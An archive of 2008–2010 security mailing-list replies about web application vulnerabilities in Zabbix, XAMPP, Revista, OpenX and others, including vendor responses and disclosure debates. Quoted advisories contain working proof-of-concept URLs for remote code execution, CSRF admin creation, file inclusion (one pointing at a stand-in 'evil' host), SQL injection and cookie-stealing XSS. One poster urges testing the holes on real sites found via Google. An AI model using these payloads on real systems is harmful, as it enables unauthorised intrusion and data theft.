From: gmdarkfig@gmail.com
Sent: Sat 30. Aug 2008 08:36
Update: Versions 2.2.x are also affected to the SQL Injection issue. A patch is available from http://forums.invisionpower.com/index.php?showtopic=276512. They just corrected the SQL Injection vulnerability. All versions are still affected to the other issues.


From: security curmudgeon jericho@attrition.org
Sent: Sat 20. Dec 2008 20:55
On Sat, 20 Dec 2008, admin@bugreport.ir wrote:

: +-->Cross Site Scripting (XSS). Reflected XSS attack in "index.php" in "q"
: parameter.
: 
: POC:
: http://[URL]/chicomas/index.php?q="<script>alert(/www.BugReport.ir/.source)</script>

This was disclosed on May 5th [1] by Hadi Kiamarsi and was assigned BID 
29025 / CVE-2008-2186 / OSVDB 44809.


- jericho

[1] http://marc.info/?l=bugtraq&m=120975560407192&w=2



From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
